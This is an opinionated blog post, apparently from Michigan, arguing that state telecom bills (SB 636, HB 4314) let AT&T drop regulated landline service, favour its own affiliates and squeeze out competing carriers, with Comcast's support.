I'd be off to take a magic gummy myself, but due to my upcoming sleep study (I'll have a whole post on this mess soon, once it's completely dealt with, because boy, it's been a long, strange ride) I'm not supposed to be doing that, so I'll go lie down and hope sleep comes quickly. Goodnight, all!

How AT&T, Verizon, and Comcast are working together to cheat you by "Discontinuing Landline Service"

(TL;DR summary: AT&T is buying entire legislatures to rewrite the laws to allow them to become a fully unregulated company with no wholesale obligations, creating a de-facto monopoly. They can (and likely will) use it to squash or hurt wireless competitors as well, as they're permitted to favor their own subsidiaries with the network built and created over a hundred plus year monopoly, and Comcast is fully on-board because they'd like to split the market created when all their competitors are dead)

UPDATE: The bill passed with some modifications. Click here for more information.

There is a new bill going through the michigan legislature right now. Referred to as Senate Bill 636, it claims to provide for the discontinuance of landline phone service.

Let me explain what this actually does, and why you care, even if you only use wireless phones and cable.

First, the bill shores up a lot of language in the intercarrier compensation reform that went through last year. No big deal.

The big deal is that there are:

  • Language changes that seem to trend away from the use of tariffs to provide published service types, rates, and service territories. No big deal on it's face, but as part of a larger scheme, why this is being altered makes sense.
  • Language changes that allow a provider to leave a community high and dry, with no telephone service, starting in 2017. That's just over 3 years from now.

So you'll ask – I use cellphones and use Comcast for internet – how does this apply to me?

First – there are thousands of people that will continue to need, and desire landline service. And businesses aren't going to switch away from landline phone service to cell phones. And AT&T has no desire to cede this business to a competitor, so what's the deal?

Part of this dates back to the last "reform" of the Michigan Telecommunications Act. HB 4314 of 2011 removed many regulatory oversights that protected customers and competitors.

Most of interest today are clauses of HB4314 that:

  • Permit AT&T and other companies to sell, lease, or otherwise transfer assets and sell service to an affiliate below cost,
  • Allow companies to discriminate in favor of an affiliated burglar and fire alarm service over a similar service offered by another provider,
  • Allow AT&T and other phone companies to discontinue service in any area provided with anything resembling a two-way telecommunications service including wireless, radio, or Voice Over IP service. Last year's bill does not permit them to leave customers high and dry, there must be something there that people can use as a substitute instead.

(Have you noticed lately that AT&T through their UVerse brand, and Comcast through their Xfinity brand are offering home security and automation? That was sudden, right? Well – there's a reason. AT&T UVerse and Comcast are not required to provide landline service suitable for use by outside alarm company vendors for their services. And quality requirements are eliminated as well, so if your current alarm system doesn't work right, tough. So now AT&T and Comcast can deliberately impair alarm systems, then sell you their own when they don't work instead of fixing the degradation.)

But more concerning is AT&T's trend of wanting to leave the "landline" business. First it's important to understand that what legislators and lawyers consider a landline, and what you consider a landline are TWO COMPLETELY DIFFERENT THINGS.

A layperson looks at a phone coming out of their wall with a wire attached to it, and says "landline!"

What AT&T wants to eliminate is something very specific:

Telephone service that is:

  • Regulated for price and quality,
  • Offered on nondiscriminatory, consistent and identical terms to everyone in their service area,
  • Is delivered on copper pair,
  • Has dialtone even with no equipment attached inside the customer premises

Do you have uverse? Then you don't have "landline" service – even if you have phone service from them.

You'll note that AT&T speaks a lot about how their "landline" service is losing customers hand over fist, and is highly unprofitable. Guess who they are losing much of their lines to? AT&T.

See where I earlier mentioned 2011's HB4314 "Permits AT&T and other companies to sell, lease, or otherwise transfer assets and sell service to an affiliate below cost"? They are allowed to sell their phone service to themselves at below cost. When you switch from AT&T landline to UVerse, you are "disconnecting your landline". For regulatory purposes, AT&T can claim they lost your services to a competitor. A competitor that the more they sell services to, the more unprofitable their "landline" division becomes. Of course, AT&T doesn't really lose money on the deal, they're just taking the profits from your uverse and allocating them all to their "affiliate" rather than the company actually providing the service. They can show that divison as being artificially profitable, and the landline division as a huge drain on their bottom line.

Now they can say their landline division is losing tons of customers, and costing them a fortune. But hey, our uverse division is doing better than ever!

What does this let them do?

Well, the prices they set to sell wholesale services to competitors are based on the costs of providing service. As are the regulated products they tariff and provide to end users. So now, they can go to public commissions and the FCC and show how despite technical advances and the network being a mostly sunk cost, that expenses of providing service are going up, and they must raise rates to competitors and end users to cover for the massive atrophy the network is experiencing (even as it grows exponentially to handle the load from the supposedly nonexistent customers that ride it).

So okay, what's the big deal, right? What will happen in 2017? What's possible here?

First, it's important to go back to the initial Telecommunications act of 1996 and the Triennial Review and Remand Order of 2002.

TA 1996 created the concept of competitive local exchange carriers, and abolished the legal monopoly that the incumbent carriers enjoyed from the 1870s to 1996. The phone companies were required to share their lines (and service) with competitors under the idea that since numerous tax breaks, subsidies, grants and other instruments were used to fund the network at the public's expense, and because the network grew based on the legal monopoly status that was provided to the carriers, the thought is that while the lines legally belonged to the private carrier, they were fully funded by the ratepayers, and the ratepayers had an interest in the facilities, as they had no other options but to pay the monopoly provider for service. Because the incumbent was provided an unequal footing for over a hundred years, the cost of building a competing network overtop of the current one would be financially unfeasible for any market entrant, because the ILEC could simply leverage the fact their network is mostly bought and paid for, and price the competitive entrant out of the market.

So the ILECs, under many (but not all) circumstances, were required to share their networks with competitive entrants based on TELRIC (Total Element Long Run Incremental Cost) pricing. This (to be brief) says that the cost of the network element, from installation to maintenance over the cost of its lifetime, divided by the number of months in its lifetime, PLUS A REASONABLE PROFIT FOR THE ILEC, shall be the monthly cost of that part of the network.

This creates an entrenched position for the ILEC. The competitors are sharing the costs of providing the line, with installation costs and repair risks amortized over time. You'd think this would be good for both sides, right? Problem was, AT&T and others turned out to be incredibly financially inefficient at offering services. Competitive carriers came in, paid for the costs of dialtone, the local wire going to the house, and a DSLAM (the phone company side of a DSL connection) and blew them out of the water! Some carriers were able to cut the cost of a residential line in half, while still providing broadband services over that line. AT&T was obviously quite displeased.

By 2002, AT&T and Verizon were able to argue that the new entrants were no longer in need of certain services, and should have to construct them themselves to continue offering them. (let's ignore here that the entrants were subsidizing the cost of the ILECs existing equipment, so why should they have to go out and buy new equipment that is unnecessary?).

The Triennial Review and Remand Order (TRRO) eliminated the following services:

  • Use of the long haul fiber network of the incumbent, except in certain limited circumstances
  • Use of the incumbent’s excess phone switch capacity to provide dialtone on the line
  • Use of the local fiber loops installed into the customer premises (if you sold someone fiber, get digging, because you now have to overbuild AT&T to provide it, and quickly!)
    • (Does it suddenly make sense why Verizon rolled out FiOS so quickly in their biggest markets, and then stopped? They did just enough to serve a market need, and destroy competitors in that area. In many states, when they install the fiber, they are allowed to remove the copper phone wiring into the building. This permanently eliminates your ability to get broadband services from a competitive phone provider, as they cannot use the fiber into your house, and must pay exorbitant fees to reinstall the copper cabling into your building, IF they can get the ILEC to do it at all. If you previously had copper to the home, and copper is available nearby, there's a way to get the ILEC to provide copper again under the "brownfield" rule in the TRRO, but they hate doing this and often the technician will try to talk you out of it when they arrive to do the work (which is illegal, violating TA 1996 as well as most interconnection agreements, but it definitely happens anyway)).
    • AT&T, when entering new subdivisions, now typically deploys fiber to the home, but typically only offers the same uverse packages over it that they do to copper customers. Why do they roll out fiber and cripple it like this? Because it doesn't require them to upgrade their network heavily, and it invokes the "greenfield" rule in the TRRO – if the area never had copper before, the ILEC is not required to build copper to satisfy a CLEC order. They used their entrenched market position, and economies of scale to ensure that your only choices would be them and the local cable company, if that. When the ILEC does offer faster speeds in fiber areas, they only do so when the cable company comes in with a higher speed, and they actually have to compete to get your business.
  • Services provided by affiliates do not have to be shared with competitors, including DSL services, and uverse/FiOS.

Is it starting to make sense now?

If you were AT&T, what would you do in 2017?

You'd send a letter to all your traditional customers, informing them they have 90 days to convert services to AT&T UVerse or face disconnection, as AT&T is discontinuing landline services. But don't worry, there's some special 3 year promotional deals where you can keep paying what you're paying now, but get more! Worry not!

You'd send a letter to your CLEC competitors, saying 'nice knowing you! Thanks for your subsidy for so many years. See ya!'. Send letters to all their customers offering special deals to convert them.

In 90 days, you shut off all services that are considered "landline phone service", converting a few holdouts to VoIP or cellular based landline services or whatever you have to do in order to make it happen.

You sell your remaining assets to your uverse affiliate for a dollar, or whatever the legal minimum is. You know how you're complaining about how expensive copper is to maintain? Guess nobody noticed that when you enter a new neighborhood with uverse, you often install a new F2 cable into the area that goes directly to the uverse "VRAD", bypassing existing copper cabling and investing new money in, you guessed it! Copper!

Then you evict the CLECs, and the fiber networks they built through your building (that you forced them to build) as the central office access is only for access to unbundled network elements, and since they're not a phone company anymore, they don't have any unbundled network elements, so get out. Upside is, there's now no credible way to compete with you other than buy a nearby building, build fiber to that, and run cables to all your customers from there.

When there's public outcry, or if it makes things easier for you from a regulatory standpoint, pick a few of your favorite CLECs that don't hurt you too much, and offer them special private contracts under secret terms that let them resell uverse wholesale. Don't worry – as you control the pricing for the product, you can make sure they never devalue the product too much, and don't provide any services that require you to really step up your game, as they'll only be able to provide what you can provide. You can sell this to the legislators as a way that you're "preserving competition".

And now that the local government is irrelevant, you don't have to expend any more money supporting every candidate (strangely, all of the AT&T bills passed in the last 10 years have done so nearly unanimously, across party lines. If you know the Michigan legislature, this is no small feat! It doesn't hurt that AT&T contributes equally and heavily to both sides of the aisle, and because of term limits, every person there has their eye on the next elected office they can hold. Get voted out? No problem, there's plenty of lobbying positions and think tanks who could use someone with your wisdom and experience! You'll land on your feet!). Think of the cost savings!

(You're thinking – but there's still a phone switch in Michigan, right? So the call doesn't cross state lines! – hah! AT&T placed their uverse switching systems in Pennsylvania, where they're not a local provider. So all calls, even down the street, are interstate in nature and regulated by the FCC and federal law. And Pennsylvania has no reason to regulate them, as it's just a pile of servers and switches that connect to other states.)

So okay, this is all well and good. I hate government regulations! Why should I care?

Well, it's simple. AT&T just effectively eliminated all competition except the cable company. They also are eliminating wholesale services used by Sprint and T-Mobile to connect their cell towers to the network. See CLECAM13-099 as an example of the changes they're making to eliminate DS1/DS3/OC-3/OC-12/OC-48/OC-192 service around the same time by removing the ability to sign contracts that go past this target date. Who uses these? CLECs do, to some extent, but wireless/cellular companies use them more heavily. If you think that this change is for Sprint and T-Mobile's own good, I have some DS3s I'd like to sell you. Don't worry – you'll still be able to get them – at a private market based contract rate that AT&T can more or less negotiate unilaterally, as there's no effective competition to many areas where towers are at.

When AT&T only has to compete with Comcast, and it's unaffordable for Sprint and T-Mobile to put oodles of bandwidth to their towers (don't worry, AT&T and Verizon each own massive fiber networks (that they'll probably pay $1 to themselves for), and can work out capacity trades to make sure that each has cheap access to their networks outside their ILEC footprints!) – how do you think that will work out for you as the consumer?

There's a reason why Comcast has been speaking to the Senate and House in favor of this "modernization" – AT&T is eliminating Comcast's competitors too!

Even if you and your neighbors don't use competitive services, you benefit strongly by their existence. Even if they're not available in your area, they could be if your existing providers upped your rates enough where it made sense for the competitor to swoop in and try to undercut them. Usually your prices are not based on the cost of providing service, they're based on what the other providers will charge for similar services, and if they keep the prices just low enough to keep other competitors out of the market, you benefit. So you should definitely care.